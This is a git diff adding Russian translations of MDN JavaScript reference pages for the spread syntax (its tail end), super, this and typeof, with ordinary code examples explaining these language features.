+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ES2018')}}</td>
+   <td>Defined in <a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">Object Initializer</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.spread")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest parameters</a> (also ‘<code>...</code>’)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">fn.apply</a> (also ‘<code>...</code>’)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/super/index.html b/files/ru/web/javascript/reference/operators/super/index.html
new file mode 100644
index 0000000000..4f3b525185
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/super/index.html
@@ -0,0 +1,186 @@
+---
+title: super
+slug: Web/JavaScript/Reference/Operators/super
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Классы
+translation_of: Web/JavaScript/Reference/Operators/super
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Ключевое слово <strong>super</strong> используется для вызова функций, принадлежащих родителю объекта.</p>
+
+<p>Выражения: <code>super.prop</code> и <code>super[expr]</code> - действительны в любом методе определения в обоих классах и в литералах объекта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">super([arguments]); // вызов родительского конструктора.
+super.functionOnParent([arguments]);
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В конструкторе ключевое слово <code>super()</code> используется как функция, вызывающая родительский конструктор. Её необходимо вызвать до первого обращения к ключевому слову <code>this</code> в теле конструктора. Ключевое слово <code>super</code> также может быть использовано для вызова функций родительского объекта.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Использование_super_в_классах">Использование super в классах</h3>
+
+<p>Этот фрагмент кода взят из <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>). В этом примере <code>super()</code> вызывается , чтобы предотвратить использования одинакового для классов <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Rectangle</span></font> and <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Square</span></font> определения тела конструктора.</p>
+
+<pre class="brush: js notranslate">class Polygon {
+  constructor(height, width) {
+    this.name = 'Polygon';
+    this.height = height;
+    this.width = width;
+  }
+  sayName() {
+    console.log('Hi, I am a ', this.name + '.');
+  }
+}
+
+class Square extends Polygon {
+  constructor(length) {
+    this.height; // ReferenceError, super должен быть вызыван первым!
+
+    // Здесь, вызывается метод конструктора родительского класса с длинами,
+    // указанными для ширины и высоты класса Polygon
+    super(length, length);
+
+    // Примечание: в производных классах, super() необходимо вызывать прежде чем
+    // использывать 'this'. Если этого не сделать будет сообщение об ошибке ссылки.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Супер-вызовы_статических_методов">Супер-вызовы статических методов</h3>
+
+<p>Вы так же можете вызывать super на <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Classes/static">статических</a> методах.</p>
+
+<pre class="notranslate">class Rectangle {
+  constructor() {}
+  static logNbSides() {
+    return 'У меня 4 стороны,';
+  }
+}
+
+class Square extends Rectangle {
+  constructor() {}
+  static logDescription() {
+    return super.logNbSides() + ' которые все равны';
+  }
+}
+Square.logDescription(); // 'У меня 4 стороны, которые все равны'</pre>
+
+<h3 id="Удаление_свойств_super_вызывает_ошибку">Удаление свойств super вызывает ошибку</h3>
+
+<p>Вы не можете использовать <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a> и <code>super.prop</code> или <code>super[expr]</code> при удалении родительского класса он выдаст:{{jsxref("ReferenceError")}}.</p>
+
+<pre class="brush: js notranslate">class Base {
+  constructor() {}
+  foo() {}
+}
+class Derived extends Base {
+  constructor() {}
+  delete() {
+    delete super.foo; // это плохо
+  }
+}
+
+new Derived().delete(); // ReferenceError: invalid delete involving 'super'. </pre>
+
+<h3 id="super.prop_не_может_переопределять_свойства_защищённые_от_записи"><code>super.prop</code> не может переопределять свойства, защищённые от записи</h3>
+
+<p>При определении незаписываемых свойств с помощью, например, {{jsxref("Object.defineProperty")}}, <code>super</code> не может перезаписать значение свойства.</p>
+
+<pre class="notranslate">class X {
+  constructor() {
+    Object.defineProperty(this, 'prop', {
+      configurable: true,
+      writable: false,
+      value: 1
+    });
+  }
+}
+
+class Y extends X {
+  constructor() {
+    super();
+  }
+  foo() {
+    super.prop = 2;   // Не возможно перезаписать значение.
+  }
+}
+
+var y = new Y();
+y.foo(); // TypeError: "prop" доступен только для чтения
+console.log(y.prop); // 1</pre>
+
+<h3 id="Использование_super.prop_в_объектных_литералах">Использование <code>super.prop</code> в объектных литералах</h3>
+
+<p>Super также можно использовать в <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">объекте инициализатора / литерала</a>. В этом примере, два объекта определяют метод. Во втором объекте, <code>super</code> вызывает первый метод объекта. Это работает с помощью {{jsxref("Object.setPrototypeOf()")}}, с которой мы можем установить прототип для <code>obj2</code> в <code>obj1</code>, так что <code>super</code> может найти <code>method1</code> в <code>obj1</code>.</p>
+
+<pre class="brush: js notranslate">var obj1 = {
+  method1() {
+    console.log("method 1");
+  }
+}
+
+var obj2 = {
+  method2() {
+   super.method1();
+  }
+}
+
+Object.setPrototypeOf(obj2, obj1);
+obj2.method2(); // logs "method 1"
+</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p>{{Compat("javascript.operators.super")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="Gecko_specific_notes">Gecko specific notes</h2>
+
+<ul>
+ <li><code>super()</code> does not yet work as expected for built-in prototypes.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Классы</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/this/index.html b/files/ru/web/javascript/reference/operators/this/index.html
new file mode 100644
index 0000000000..cfd5ae4385
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/this/index.html
@@ -0,0 +1,412 @@
+---
+title: this
+slug: Web/JavaScript/Reference/Operators/this
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+  - this
+  - свойства языка
+translation_of: Web/JavaScript/Reference/Operators/this
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Поведение ключевого слова <code>this</code> в JavaScript несколько отличается по сравнению с остальными языками. Имеются также различия при использовании <code>this</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">строгом</a> и нестрогом режиме.</p>
+
+<p>В большинстве случаев значение <code>this</code> определяется тем, каким образом вызвана функция. Значение <code>this</code> не может быть установлено путем присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к <code>this</code> (они сохраняют значение <code>this</code> лексического окружения, в котором были созданы).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-this.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории на GitHub. Если вы хотите поучаствовать в создании этого интерактивного примера, склонируйте репозиторий про адресу <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и присылайте пулл-реквест.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">this</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Свойство контекста выполнения кода (global, function или eval), которое в нестрогом режиме всегда является ссылкой на объект, а в строгом режиме может иметь любое значение.</p>
+
+<h2 id="Global_контекст">Global контекст</h2>
+
+<p>В глобальном контексте выполнения (за пределами каких-либо функций) <code>this</code> ссылается на глобальный объект вне зависимости от режима (строгий или нестрогий).</p>
+
+<pre class="brush:js">// В браузерах, объект window также является объектом global:
+console.log(this === window); // true
+
+a = 37;
+console.log(window.a); // 37
+
+this.b = "MDN";
+console.log(window.b)  // "MDN"
+console.log(b)         // "MDN"
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Вы всегда можете легко получить объект global, используя глобальное свойство {{jsxref ("globalThis")}}, независимо от текущего контекста, в котором выполняется ваш код.</p>
+</div>
+
+<h2 id="Function_контекст">Function контекст</h2>
+
+<p>В пределах функции значение <code>this</code> зависит от того, каким образом вызвана функция.</p>
+
+<h3 id="Простой_вызов">Простой вызов</h3>
+
+<p>Поскольку следующий код не в {{jsxref('Strict_mode', 'строгом режиме')}}, и значение <code>this</code> не устанавливается вызовом, по умолчанию будет использоваться объект global, которым в браузере является <code>{{domxref('window')}}</code>.</p>
+
+<pre class="brush:js">function f1(){
+  return this;
+}
+
+// В браузере:
+f1() === window; // window - глобальный объект в браузере
+
+// В Node:
+f1() === global; // global - глобальный объект в Node
+</pre>
+
+<p>В строгом режиме, если значение <code>this</code> не установлено в контексте выполнения, оно остается <code>undefined</code>, как показано в следующем примере:</p>
+
+<pre class="brush:js">function f2(){
+  "use strict"; // см. strict mode
+  return this;
+}
+
+f2() === undefined; // true
+</pre>
+
+<div class="note">Во втором примере <code>this</code> должно иметь значение <code>{{jsxref("undefined")}}</code>, потому что функция <code>f2</code> была вызвана напрямую, а не как метод или свойство объекта (например, <code>window.f2()</code>). Реализация этой особенности не поддерживалась в некоторых браузерах, когда они впервые начали поддерживать {{jsxref('Strict_mode', 'строгий режим')}}. В результате они некорректно возвращали объект <code>window</code>.</div>
+
+<p>Для того, чтобы при вызове функции установить <code>this</code> в определенное значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.</p>
+
+<p><strong>Пример 1</strong></p>
+
+<pre dir="rtl"><code>// </code>В качестве первого аргумента методов<code> call или apply</code> может быть передан объект<code>,
+// на который будет указывать this.</code><code>
+var obj = {a: 'Custom'};
+
+// Это свойство принадлежит глобальному объекту
+var a = 'Global';
+
+function whatsThis() {
+  return this.a;  //значение this зависит от контекста вызова функции</code>
+
+<code>}
+
+whatsThis();          // 'Global'
+whatsThis.call(obj);  // 'Custom'
+whatsThis.apply(obj); // 'Custom'</code></pre>
+
+<p><strong>Пример 2</strong></p>
+
+<pre>function add(c, d) {
+  return this.a + this.b + c + d;
+}
+
+var o = {a: 1, b: 3};
+
+// Первый параметр - это объект для использования в качестве
+// 'this', последующие параметры передаются как
+// аргументы функции call
+add.call(o, 5, 7); // 16
+
+// Первый параметр - это объект для использования в качестве
+// 'this', второй - массив, чьи члены используются
+// в качестве аргументов функции call
+add.apply(o, [10, 20]); // 34
+</pre>
+
+<p>Обратите внимание, что в нестрогом режиме, если значение, переданное в <code>call</code> или <code>apply как</code> <code>this</code>, не является объектом, будет сделана попытка преобразовать его в объект с помощью внутренней операции <code>ToObject</code>. Таким образом, если переданное значение является примитивом, таким как <code>7</code> или <code>'foo'</code>, оно будет преобразовано в <code>Object</code> с использованием связанного конструктора, так что примитивное число <code>7</code> будет преобразовано в объект так, как будто с помощью <code>new Number(7)</code>, а строка <code>'foo'</code> - как будто с помощью <code>new String('foo')</code>, например</p>
+
+<pre>function bar() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7);     // [object Number]
+bar.call('foo'); // [object String]
+</pre>
+
+<h3 id="Метод_bind">Метод <code>bind</code></h3>
+
+<p>ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов <code>f.bind(someObject)</code> создает новую функцию с тем же телом и областью действия, что и <code>f</code>, но там, где в исходной функции используется <code>this</code>, в новой функции оно постоянно будет связано с первым аргументом <code>bind</code>, независимо от того, как функция используется.</p>
+
+<pre>function f() {
+  return this.a;
+}
+
+var g = f.bind({a: 'azerty'});
+console.log(g()); // azerty
+
+var h = g.bind({a: 'yoo'}); // bind only works once!
+console.log(h()); // azerty
+
+var o = {a: 37, f: f, g: g, h: h};
+console.log(o.a, o.f(), o.g(), o.h()); // 37,37, azerty, azerty</pre>
+
+<h3 id="Стрелочные_функции">Стрелочные функции</h3>
+
+<p>В {{jsxref('Functions/Arrow_functions', 'стрелочных функциях')}}, <code>this</code> привязан к окружению, в котором была создана функция. В глобальной области видимости <code>this</code> будет указывать на глобальный объект.</p>
+
+<pre><code>var globalObject = this;
+var foo = (() =&gt; this);
+console.log(foo() === globalObject); // true</code></pre>
+
+<div class="note">
+<p>Note: если аргумент this передаётся в call, bind или apply при вызове стрелочной функции, он будет проигнорирован. Вы всё ещё можете добавить аргументы к вызову, но первый аргумент (thisArg) должен быть установлен в null.</p>
+</div>
+
+<p>Неважно, как стрелочная функция <code>foo()</code> будет вызвана, её значение this будет указывать на глобальный объект. <code>this</code> будет сохранять свое значение, даже если функция <code>foo()</code> будет вызвана как метод объекта (что в обычных функциях связывает <code>this</code> с объектом вызова) или с использованием методов <code>call</code>, <code>apply</code> или <code>bind</code>:</p>
+
+<pre><code>// Вызов функции как метода объекта
+var obj = {foo: foo};
+console.log(obj.foo() === globalObject); // true
+
+// Попытка установить this с помощью call
+console.log(foo.call(obj) === globalObject); // true
+
+// Попытка установить this с помощью bind
+foo = foo.bind(obj);
+console.log(foo() === globalObject); // true</code></pre>
+
+<p>Несмотря ни на что, <code>this</code> стрелочной функции <code>foo()</code> имеет то же значение, что и при создании функции (глобальный объект в примере выше). То же самое касается стрелочных функций, созданных внутри других функций: их <code>this</code> будет привязан к окружению.</p>
+
+<pre><code>// Создаем объект obj, содержащий метод bar, который возвращает функцию,
+// которая возвращает свой this. Возвращаемая функция создана
+// как стрелочная функция, таким образом её this постоянно замкнут
+// на this функции, в которой она создана. </code>Значение bar может быть установлено
+<code>//</code> в вызове, который, в свою очередь, устанавливает значение возвращаемой функции.<code>
+var obj = { bar : function() {
+                    var x = (() =&gt; this);
+                    return x;
+                  }
+          };
+
+// Вызываем bar как метод объекта obj, устанавливая его this на obj
+// Присваиваем ссылку возвращаемой функции переменной fn
+var fn = obj.bar();
+
+// Вызываем fn без установки this, что в обычных функциях указывало бы
+// на глобальный объект или undefined в строгом режиме.
+console.log(fn() === obj); // true</code>
+
+// Но будьте осторожны, если вы ссылаетесь на метод obj, не вызывая его
+var fn2 = obj.bar;
+// Вызов this стрелочной функции изнутри метода bar вернёт теперь window,
+// потому что он следует за this из fn2.
+console.log(fn2()() == window); // true</pre>
+
+<p>В примере выше, функция (назовем её анонимной функцией A), присвоенная методу <code>obj.bar</code>, возвращает другую функцию (назовем её анонимной функцией B) которая создана как стрелочная функция. В результате, <code>this функции B при вызове замкнут на</code> <code>this,</code> принадлежащий <code>obj.bar</code> (функции A). <code>this</code> функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, <code>this функции B</code> указывает на <code>this функции A,которым является</code> obj, таким образом this будет равен <code>obj</code> даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным <code>undefined</code> или глобальному обьекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).</p>
+
+<h3 id="В_методе_объекта">В методе объекта</h3>
+
+<p>Когда функция вызывается как метод объекта, используемое в этой функции ключевое слово <code>this </code>принимает значение объекта, по отношению к которому вызван метод.</p>
+
+<p>В следующем примере, когда вызвано свойство <code>o.f()</code> , внутри функции <code>this</code> привязано к объекту <code>o.</code></p>
+
+<pre class="brush:js">var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Необходимо отметить, что на поведение <code>this</code> совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства <code>f</code> во время определения объекта <code>o</code>. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить ее за за свойством <code>o.f</code>. В этом случае поведение <code>this</code> не изменится:</p>
+
+<pre class="brush:js">var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>Эти примеры показывают, что имеет значение только то, что функция была вызвана из свойства <code>f</code> объекта <code>o</code>.</p>
+
+<p>Аналогично, привязывание <code>this</code> обуславливается наличием ближайшей ссылки на объект или свойство. В следующем примере, когда мы вызываем функцию, мы обращаемся к ней как к методу <code>g</code> объекта <code>o.b</code>. На этот раз во время выполнения, <code>this, </code>что находится внутри функции, будет ссылаться на<code> </code> <code>o.b</code>. Тот факт, что объект является членом объекта <code>o</code>, не имеет значения; важна только ближайшая ссылка.</p>
+
+<pre class="brush:js">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="this_в_цепочке_objects_prototype"><code>this</code> в цепочке object's prototype</h4>
+
+<p>Это же представление справедливо и для методов, определенных где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то <code>this</code> ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.</p>
+
+<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>В этом примере объект, которому присвоена переменная <code>p,</code> не имеет собственного свойства <code>f</code>, а наследует это свойство от своего прототипа. Однако, совершенно неважно, что поиск свойства f в конце концов обнаружит его на объекте <code>o</code>. Поскольку поиск начался с <code>p.f</code>, то и свойство <code>this</code> внутри функции <code>f</code> будет ссылаться на объект <code>p</code>. Таким образом, если <code>f</code> вызывается как метод <code>p</code>, то и <code>this</code> относится к <code>p</code>. Это полезная особенность прототипного наследования JS.</p>
+
+<h4 id="this_с_геттерамисеттерами"><code>this</code> с геттерами/сеттерами</h4>
+
+<p>Все те же утверждения справедливы, если функция вызывается из геттера или сеттера. Для функции, которая используется как геттер или сеттер <code>this</code> привязан к объекту, свойство которого необходимо извлечь через геттер/сеттер.</p>
+
+<pre class="brush:js">function modulus(){
+  return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+  re: 1,
+  im: -1,
+  get phase(){
+    return Math.atan2(this.im, this.re);
+  }
+};
+
+Object.defineProperty(o, 'modulus', {
+    get: modulus, enumerable:true, configurable:true});
+
+console.log(o.phase, o.modulus); // logs -0.78 1.4142
+</pre>
+
+<h3 id="В_конструкторе">В конструкторе</h3>
+
+<p>Когда функция используется как конструктор (с ключевым словом <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> ), <code>this</code> связано с создаваемым новым объектом.</p>
+
+<p>Примечание: по умолчанию конструктор возвращает объект, на который ссылается <code>this</code>, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращен объект с <code>this</code>).</p>
+
+<pre class="brush:js">/*
+ * Конструктор работает таким образом:
+ *
+ * function MyConstructor(){
+ *   // фактический код, составляющий тело функции.
+ *   // создание свойств с |this| по
+ *   // желанию, определяя их значения; например,
+ *   this.fum = "nom";
+ *   // и т.д.
+ *
+ *   // Если функция возвращает выражение,
+ *   // возвращающее объект, этот объект будет
+ *   // результатом выражения |new|. В обратном случае,
+ *   // результат выражения - объект,
+ *   // в данный момент привязанный к |this|
+ *   // (т.е. наиболее часто встречающийся случай).
+ * }
+ */
+
+function C() {
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // logs 37
+
+
+function C2() {
+  this.a = 37;
+  return {a: 38};
+}
+
+o = new C2();
+console.log(o.a); // logs 38
+</pre>
+
+<p>В последнем примере (<code>C2</code>), из-за того, что конструктор вернул объект, новый объект, к которому было привязано <code>this</code>, был просто отброшен. (Это фактически делает выражение "<code>this.a = 37;</code>" "мертвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)</p>
+
+<h3 id="call_и_apply"><code>call</code> и <code>apply</code></h3>
+
+<p>Когда в теле функции используется ключевое слово <code>this</code>, его значение может быть привязано к конкретному объекту в вызове при помощи методов <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a></code>, которые наследуются всеми функциями от <code>Function.prototype</code>.</p>
+
+<pre class="brush:js">function add(c, d) {
+  return this.a + this.b + c + d;
+}
+
+var o = {a: 1, b: 3};
+
+// Первый параметр - это объект, который следует использовать как
+// 'this', последующие параметры передаются
+// как аргументы при вызове функции
+add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+// Первый параметр - объект, который следует использовать как
+// 'this', второй параметр - массив,
+// элементы которого используются как аргументы при вызове функции
+add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+</pre>
+
+<p>Необходимо отметить, что если методам <code>call</code> и <code>apply</code> передается значение с <code>this</code>, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию <code>ToObject</code>. Если переданное значение является примитивным типом, например <code>7</code> или <code>'foo'</code>, оно будет преобразовано в объект с использованием родственного конструктора, так примитив <code>7</code> преобразовывается в объект через <code>new Number(7),</code> а строка <code>'foo'</code> в объект через <code>new String('foo'),</code> и т.д.</p>
+
+<pre class="brush:js">function bar() {
+  console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7); // [object Number]
+</pre>
+
+<h3 id="Как_обработчик_событий_DOM">Как обработчик событий DOM</h3>
+
+<p>Когда функция используется как обработчик событий, <code>this</code> присваивается элементу с которого начинается событие (некоторые браузеры не следуют этому соглашению для слушателей, добавленных динамически с помощью всех методов, кроме <code>addEventListener</code>).</p>
+
+<pre class="brush:js">// Когда вызывается как слушатель, связанный элемент становится синим
+function bluify(e) {
+  // Всегда true
+  console.log(this === e.currentTarget);
+  // true, когда currentTarget и target один объект
+  console.log(this === e.target);
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// Получить список каждого элемента в документе
+var elements = document.getElementsByTagName('*');
+
+// Добавить bluify как слушателя кликов, чтобы при
+// нажатии на элемент он становился синим
+for (var i = 0; i &lt; elements.length; i++) {
+  elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="В_инлайновом_обработчике_событий">В инлайновом обработчике событий</h3>
+
+<p>Когда код вызван из инлайнового обработчика, <code>this</code> указывает на DOM элемент, в котором расположен код события:</p>
+
+<pre class="brush:js">&lt;button onclick="alert(this.tagName.toLowerCase());"&gt;
+  Показать this
+&lt;/button&gt;
+</pre>
+
+<p>Код выше выведет '<code>button</code>'. Следует отметить, что <code>this</code> будет указывать на DOM элемент только во внешних (не вложенных) функциях:</p>
+
+<pre class="brush:js">&lt;button onclick="alert((function() {return this;} ()));"&gt;
+  Показать вложенный this
+&lt;/button&gt;
+</pre>
+
+<p>В этом случае <code>this</code> вложенной функции не будет установлен, так что будет возвращен global/window объект.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-this-keyword', 'The this keyword')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("javascript.operators.this")}}</p>
+
+<h2 id="See_also" name="See_also">Смотри также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Строгий режим</a></li>
+ <li><a href="http://bjorn.tipling.com/all-this">All this</a>, статья о <code>this</code> в разном контексте</li>
+ <li><a href="https://rainsoft.io/gentle-explanation-of-this-in-javascript/">Краткое объяснение ключевого слова 'this' в JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/typeof/index.html b/files/ru/web/javascript/reference/operators/typeof/index.html
new file mode 100644
index 0000000000..f3a5ca27a3
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/typeof/index.html
@@ -0,0 +1,242 @@
+---
+title: typeof
+slug: Web/JavaScript/Reference/Operators/typeof
+tags:
+  - JavaScript
+  - Оператор
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор <strong><code>typeof</code></strong> возвращает строку, указывающую тип операнда.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Операнд следует за оператором <code>typeof</code>:</p>
+
+<pre class="syntaxbox">typeof <em>operand</em></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><code><em>operand</em></code> является выражением, представляющим объект или {{Glossary("Primitive", "примитив")}}, тип которого должен быть возвращен.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В следующей таблице приведены возможные возвращаемые значения <code>typeof</code>. Дополнительная информация о типах и примитивах находится на странице <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Data_structures">структуры данных JavaScript</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type</th>
+   <th scope="col">Result</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Undefined</td>
+   <td><code>"undefined"</code></td>
+  </tr>
+  <tr>
+   <td>Null</td>
+   <td><code>"object" </code>(смотрите ниже)</td>
+  </tr>
+  <tr>
+   <td>Boolean</td>
+   <td><code>"boolean"</code></td>
+  </tr>
+  <tr>
+   <td>Number</td>
+   <td><code>"number"</code></td>
+  </tr>
+  <tr>
+   <td>String</td>
+   <td><code>"string"</code></td>
+  </tr>
+  <tr>
+   <td>Symbol (новый тип из ECMAScript 2015)</td>
+   <td><code>"symbol"</code></td>
+  </tr>
+  <tr>
+   <td>Host object (определено JS окружением)</td>
+   <td><em>Зависит от реализации</em></td>
+  </tr>
+  <tr>
+   <td>Function object (реализует [[Call]] в терминах ECMA-262)</td>
+   <td><code>"function"</code></td>
+  </tr>
+  <tr>
+   <td>Любой другой тип</td>
+   <td><code>"object"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:js">// Числа
+typeof 37 === 'number';
+typeof 3.14 === 'number';
+typeof(42) === 'number';
+typeof Math.LN2 === 'number';
+typeof Infinity === 'number';
+typeof NaN === 'number'; // несмотря на то, что это "Not-A-Number" (не число)
+typeof Number(1) === 'number'; // никогда не используйте эту запись!
+
+
+// Строки
+typeof '' === 'string';
+typeof 'bla' === 'string';
+typeof '1' === 'string'; // обратите внимание, что число внутри строки всё равно имеет тип строки
+typeof (typeof 1) === 'string'; // typeof всегда вернёт в этом случае строку
+typeof String('abc') === 'string'; // никогда не используйте эту запись!
+
+
+// Booleans
+typeof true === 'boolean';
+typeof false === 'boolean';
+typeof Boolean(true) === 'boolean'; // никогда не используйте эту запись!
+
+
+// Символы
+typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+
+// Undefined
+typeof undefined === 'undefined';
+typeof declaredButUndefinedVariable === 'undefined';
+typeof undeclaredVariable === 'undefined';
+
+
+// Объекты
+typeof {a: 1} === 'object';
+
+// используйте <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray">Array.isArray</a> или Object.prototype.toString.call
+// чтобы различить обычные объекты и массивы
+typeof [1, 2, 4] === 'object';
+
+typeof new Date() === 'object';
+
+
+// То что ниже приводит к ошибкам и проблемам. Не используйте!
+typeof new Boolean(true) === 'object';
+typeof new Number(1) === 'object';
+typeof new String('abc') === 'object';
+
+
+// Функции
+typeof function() {} === 'function';
+typeof class C {} === 'function';
+typeof Math.sin === 'function';
+</pre>
+
+<h3 id="null"><code>null</code></h3>
+
+<pre class="brush:js">// Это было определено с рождения JavaScript
+typeof null === 'object';
+</pre>
+
+<p> </p>
+
+<p>В первой реализации JavaScript значения были представлены парой тип тега и значение. Тип тега для объектов равнялся 0. <code>null</code> был представлен как нулевой указатель (0x00 в большинстве платформ). Следовательно, тип тега для <code>null</code> равнялся нулю, поэтому возвращаемое значение <code>typeof</code> является фиктивным. (<a href="http://www.2ality.com/2013/10/typeof-null.html">подробнее</a>)</p>
+
